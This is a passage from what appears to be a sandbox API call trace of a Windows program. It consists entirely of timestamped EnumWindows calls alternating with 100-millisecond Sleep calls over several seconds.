(dwMilliseconds=0x64) [0203.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.291] Sleep (dwMilliseconds=0x64) [0203.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.293] Sleep (dwMilliseconds=0x64) [0203.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.295] Sleep (dwMilliseconds=0x64) [0203.297] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.297] Sleep (dwMilliseconds=0x64) [0203.299] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.299] Sleep (dwMilliseconds=0x64) [0203.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.302] Sleep (dwMilliseconds=0x64) [0203.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.303] Sleep (dwMilliseconds=0x64) [0203.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.305] Sleep (dwMilliseconds=0x64) [0203.307] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.307] Sleep (dwMilliseconds=0x64) [0203.309] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.309] Sleep (dwMilliseconds=0x64) [0203.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.311] Sleep (dwMilliseconds=0x64) [0203.313] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.313] Sleep (dwMilliseconds=0x64) [0203.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.315] Sleep (dwMilliseconds=0x64) [0203.318] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.318] Sleep (dwMilliseconds=0x64) [0203.320] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.320] Sleep (dwMilliseconds=0x64) [0203.322] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.322] Sleep (dwMilliseconds=0x64) [0203.324] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.324] Sleep (dwMilliseconds=0x64) [0203.326] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.326] Sleep (dwMilliseconds=0x64) [0203.328] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.328] Sleep (dwMilliseconds=0x64) [0203.330] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.330] Sleep (dwMilliseconds=0x64) [0203.331] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.332] Sleep (dwMilliseconds=0x64) [0203.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.334] Sleep (dwMilliseconds=0x64) [0203.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.336] Sleep (dwMilliseconds=0x64) [0203.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.369] Sleep (dwMilliseconds=0x64) [0203.585] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.586] Sleep (dwMilliseconds=0x64) [0203.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.633] Sleep (dwMilliseconds=0x64) [0203.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.697] Sleep (dwMilliseconds=0x64) [0203.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.700] Sleep (dwMilliseconds=0x64) [0203.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.706] Sleep (dwMilliseconds=0x64) [0203.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.708] Sleep (dwMilliseconds=0x64) [0203.712] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.713] Sleep (dwMilliseconds=0x64) [0203.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.715] Sleep (dwMilliseconds=0x64) [0203.717] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.717] Sleep (dwMilliseconds=0x64) [0203.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.719] Sleep (dwMilliseconds=0x64) [0203.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.721] Sleep (dwMilliseconds=0x64) [0203.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.723] Sleep (dwMilliseconds=0x64) [0203.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.725] Sleep (dwMilliseconds=0x64) [0203.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.727] Sleep (dwMilliseconds=0x64) [0203.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.771] Sleep (dwMilliseconds=0x64) [0203.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.926] Sleep (dwMilliseconds=0x64) [0203.930] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.931] Sleep (dwMilliseconds=0x64) [0203.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.934] Sleep (dwMilliseconds=0x64) [0203.936] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.937] Sleep (dwMilliseconds=0x64) [0203.938] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.938] Sleep (dwMilliseconds=0x64) [0203.940] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.940] Sleep (dwMilliseconds=0x64) [0203.942] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.943] Sleep (dwMilliseconds=0x64) [0203.944] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.944] Sleep (dwMilliseconds=0x64) [0203.946] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.948] Sleep (dwMilliseconds=0x64) [0203.950] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.950] Sleep (dwMilliseconds=0x64) [0203.952] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.952] Sleep (dwMilliseconds=0x64) [0203.955] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.956] Sleep (dwMilliseconds=0x64) [0203.957] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.957] Sleep (dwMilliseconds=0x64) [0203.959] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.959] Sleep (dwMilliseconds=0x64) [0203.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.961] Sleep (dwMilliseconds=0x64) [0203.963] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.963] Sleep (dwMilliseconds=0x64) [0203.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.965] Sleep (dwMilliseconds=0x64) [0203.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.967] Sleep (dwMilliseconds=0x64) [0203.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.968] Sleep (dwMilliseconds=0x64) [0203.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.971] Sleep (dwMilliseconds=0x64) [0203.973] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.973] Sleep (dwMilliseconds=0x64) [0203.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.975] Sleep (dwMilliseconds=0x64) [0203.976] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.976] Sleep (dwMilliseconds=0x64) [0203.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.979] Sleep (dwMilliseconds=0x64) [0203.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.980] Sleep (dwMilliseconds=0x64) [0203.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.982] Sleep (dwMilliseconds=0x64) [0203.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.985] Sleep (dwMilliseconds=0x64) [0203.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.987] Sleep (dwMilliseconds=0x64) [0203.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.989] Sleep (dwMilliseconds=0x64) [0203.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.992] Sleep (dwMilliseconds=0x64) [0203.994] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.995] Sleep (dwMilliseconds=0x64) [0203.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.997] Sleep (dwMilliseconds=0x64) [0203.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.999] Sleep (dwMilliseconds=0x64) [0204.000] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.001] Sleep (dwMilliseconds=0x64) [0204.002] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.003] Sleep (dwMilliseconds=0x64) [0204.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.005] Sleep (dwMilliseconds=0x64) [0204.006] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.006] Sleep (dwMilliseconds=0x64) [0204.008] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.008] Sleep (dwMilliseconds=0x64) [0204.010] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.010] Sleep (dwMilliseconds=0x64) [0204.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.012] Sleep (dwMilliseconds=0x64) [0204.014] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.014] Sleep (dwMilliseconds=0x64) [0204.016] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.016] Sleep (dwMilliseconds=0x64) [0204.018] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.018] Sleep (dwMilliseconds=0x64) [0204.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.020] Sleep (dwMilliseconds=0x64) [0204.022] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.022] Sleep (dwMilliseconds=0x64) [0204.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.024] Sleep (dwMilliseconds=0x64) [0204.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.026] Sleep (dwMilliseconds=0x64) [0204.028] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.028] Sleep (dwMilliseconds=0x64) [0204.030] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.030] Sleep (dwMilliseconds=0x64) [0204.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.032] Sleep (dwMilliseconds=0x64) [0204.034] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.035] Sleep (dwMilliseconds=0x64) [0204.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.037] Sleep (dwMilliseconds=0x64) [0204.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.039] Sleep (dwMilliseconds=0x64) [0204.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.041] Sleep (dwMilliseconds=0x64) [0204.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.044] Sleep (dwMilliseconds=0x64) [0204.045] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.045] Sleep (dwMilliseconds=0x64) [0204.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.049] Sleep (dwMilliseconds=0x64) [0204.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.051] Sleep (dwMilliseconds=0x64) [0204.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.053] Sleep (dwMilliseconds=0x64) [0204.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.055] Sleep (dwMilliseconds=0x64) [0204.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.057] Sleep (dwMilliseconds=0x64) [0204.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.059] Sleep (dwMilliseconds=0x64) [0204.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.062] Sleep (dwMilliseconds=0x64) [0204.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.064] Sleep (dwMilliseconds=0x64) [0204.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.066] Sleep (dwMilliseconds=0x64) [0204.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.068] Sleep (dwMilliseconds=0x64) [0204.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.070] Sleep (dwMilliseconds=0x64) [0204.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.072] Sleep (dwMilliseconds=0x64) [0204.075] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.076] Sleep (dwMilliseconds=0x64) [0204.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.077] Sleep (dwMilliseconds=0x64) [0204.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.080] Sleep (dwMilliseconds=0x64) [0204.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.081] Sleep (dwMilliseconds=0x64) [0204.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.083] Sleep (dwMilliseconds=0x64) [0204.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.085] Sleep (dwMilliseconds=0x64) [0204.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.087] Sleep (dwMilliseconds=0x64) [0204.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.089] Sleep (dwMilliseconds=0x64) [0204.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.092] Sleep (dwMilliseconds=0x64) [0204.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.094] Sleep (dwMilliseconds=0x64) [0204.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.096] Sleep (dwMilliseconds=0x64) [0204.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.098] Sleep (dwMilliseconds=0x64) [0204.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.100] Sleep (dwMilliseconds=0x64) [0204.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.102] Sleep (dwMilliseconds=0x64) [0204.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.104] Sleep (dwMilliseconds=0x64) [0204.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.106] Sleep (dwMilliseconds=0x64) [0204.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.108] Sleep (dwMilliseconds=0x64) [0204.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.109] Sleep (dwMilliseconds=0x64) [0204.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.111] Sleep (dwMilliseconds=0x64) [0204.113] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.113] Sleep (dwMilliseconds=0x64) [0204.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.115] Sleep (dwMilliseconds=0x64) [0204.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.119] Sleep (dwMilliseconds=0x64) [0204.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.216] Sleep (dwMilliseconds=0x64) [0204.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.218] Sleep (dwMilliseconds=0x64) [0204.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.220] Sleep (dwMilliseconds=0x64) [0204.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.226] Sleep (dwMilliseconds=0x64) [0204.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.229] Sleep (dwMilliseconds=0x64) [0204.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.231] Sleep (dwMilliseconds=0x64) [0204.233] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.233] Sleep (dwMilliseconds=0x64) [0204.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.235] Sleep (dwMilliseconds=0x64) [0204.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.237] Sleep (dwMilliseconds=0x64) [0204.239] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.239] Sleep (dwMilliseconds=0x64) [0204.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.241] Sleep (dwMilliseconds=0x64) [0204.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.244] Sleep (dwMilliseconds=0x64) [0204.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.246] Sleep (dwMilliseconds=0x64) [0204.248] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.248] Sleep (dwMilliseconds=0x64) [0204.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.250] Sleep (dwMilliseconds=0x64) [0204.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.252] Sleep (dwMilliseconds=0x64) [0204.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.254] Sleep (dwMilliseconds=0x64) [0204.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.256] Sleep (dwMilliseconds=0x64) [0204.258] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.258] Sleep (dwMilliseconds=0x64) [0204.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.260] Sleep (dwMilliseconds=0x64) [0204.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.262] Sleep (dwMilliseconds=0x64) [0204.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.264] Sleep (dwMilliseconds=0x64) [0204.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.268] Sleep (dwMilliseconds=0x64) [0204.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.269] Sleep (dwMilliseconds=0x64) [0204.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.271] Sleep (dwMilliseconds=0x64) [0204.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.273] Sleep (dwMilliseconds=0x64) [0204.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0204.275] Sleep (dwMilliseconds=0x64) [0204.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.002] Sleep (dwMilliseconds=0x64) [0205.021] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.022] Sleep (dwMilliseconds=0x64) [0205.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.099] Sleep (dwMilliseconds=0x64) [0205.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.109] Sleep (dwMilliseconds=0x64) [0205.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.112] Sleep (dwMilliseconds=0x64) [0205.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.147] Sleep (dwMilliseconds=0x64) [0205.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.237] Sleep (dwMilliseconds=0x64) [0205.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.316] Sleep (dwMilliseconds=0x64) [0205.323] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.324] Sleep (dwMilliseconds=0x64) [0205.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.326] Sleep (dwMilliseconds=0x64) [0205.328] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.328] Sleep (dwMilliseconds=0x64) [0205.330] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.330] Sleep (dwMilliseconds=0x64) [0205.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.444] Sleep (dwMilliseconds=0x64) [0205.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.510] Sleep (dwMilliseconds=0x64) [0205.710] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.710] Sleep (dwMilliseconds=0x64) [0205.853] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.853] Sleep (dwMilliseconds=0x64) [0205.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0205.910] Sleep (dwMilliseconds=0x64) [0206.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0206.012] Sleep (dwMilliseconds=0x64) [0206.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0206.063] Sleep (dwMilliseconds=0x64) [0206.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0206.082] Sleep (dwMilliseconds=0x64) [0206.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0206.084] Sleep (dwMilliseconds=0x64) [0206.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0206.197] Sleep (dwMilliseconds=0x64) [0206.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0206.283] Sleep (dwMilliseconds=0x64) [0206.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0206.510] Sleep (dwMilliseconds=0x64) [0206.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0206.617] Sleep (dwMilliseconds=0x64) [0206.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0206.898] Sleep (dwMilliseconds=0x64) [0207.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.112] Sleep (dwMilliseconds=0x64) [0207.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.232] Sleep (dwMilliseconds=0x64) [0207.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.269] Sleep (dwMilliseconds=0x64) [0207.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.273] Sleep (dwMilliseconds=0x64) [0207.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.445] Sleep (dwMilliseconds=0x64) [0207.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.530] Sleep (dwMilliseconds=0x64) [0207.535] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.536] Sleep (dwMilliseconds=0x64) [0207.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.538] Sleep (dwMilliseconds=0x64) [0207.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.574] Sleep (dwMilliseconds=0x64) [0207.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.633] Sleep (dwMilliseconds=0x64) [0207.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.698] Sleep (dwMilliseconds=0x64) [0207.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.700] Sleep (dwMilliseconds=0x64) [0207.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.702] Sleep (dwMilliseconds=0x64) [0207.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.704] Sleep (dwMilliseconds=0x64) [0207.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.706] Sleep (dwMilliseconds=0x64) [0207.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.708] Sleep (dwMilliseconds=0x64) [0207.710] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.710] Sleep (dwMilliseconds=0x64) [0207.712] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.712] Sleep (dwMilliseconds=0x64) [0207.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.714] Sleep (dwMilliseconds=0x64) [0207.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.716] Sleep (dwMilliseconds=0x64) [0207.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.719] Sleep (dwMilliseconds=0x64) [0207.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.721] Sleep (dwMilliseconds=0x64) [0207.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.723] Sleep (dwMilliseconds=0x64) [0207.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.725] Sleep (dwMilliseconds=0x64) [0207.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.727] Sleep (dwMilliseconds=0x64) [0207.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.838] Sleep (dwMilliseconds=0x64) [0207.840] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.840] Sleep (dwMilliseconds=0x64) [0207.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.844] Sleep (dwMilliseconds=0x64) [0207.845] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.845] Sleep (dwMilliseconds=0x64) [0207.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.849] Sleep (dwMilliseconds=0x64) [0207.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.850] Sleep (dwMilliseconds=0x64) [0207.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.852] Sleep (dwMilliseconds=0x64) [0207.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.855] Sleep (dwMilliseconds=0x64) [0207.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.856] Sleep (dwMilliseconds=0x64) [0207.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.861] Sleep (dwMilliseconds=0x64) [0207.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.864] Sleep (dwMilliseconds=0x64) [0207.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.867] Sleep (dwMilliseconds=0x64) [0207.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0207.994] Sleep (dwMilliseconds=0x64) [0208.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0208.040] Sleep (dwMilliseconds=0x64) [0208.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0208.042] Sleep (dwMilliseconds=0x64) [0208.044] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0208.044] Sleep (dwMilliseconds=0x64) [0208.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0208.046] Sleep (dwMilliseconds=0x64) [0208.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0208.048] Sleep (dwMilliseconds=0x64) [0208.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0208.050] Sleep (dwMilliseconds=0x64) [0208.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0208.051] Sleep (dwMilliseconds=0x64) [0208.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0208.053] Sleep (dwMilliseconds=0x64) [0208.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0208.814] Sleep (dwMilliseconds=0x64) [0208.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0208.894] Sleep (dwMilliseconds=0x64) [0208.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0208.970] Sleep (dwMilliseconds=0x64) [0209.006] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.007] Sleep (dwMilliseconds=0x64) [0209.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.120] Sleep (dwMilliseconds=0x64) [0209.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.124] Sleep (dwMilliseconds=0x64) [0209.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.126] Sleep (dwMilliseconds=0x64) [0209.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.128] Sleep (dwMilliseconds=0x64) [0209.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.130] Sleep (dwMilliseconds=0x64) [0209.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.132] Sleep 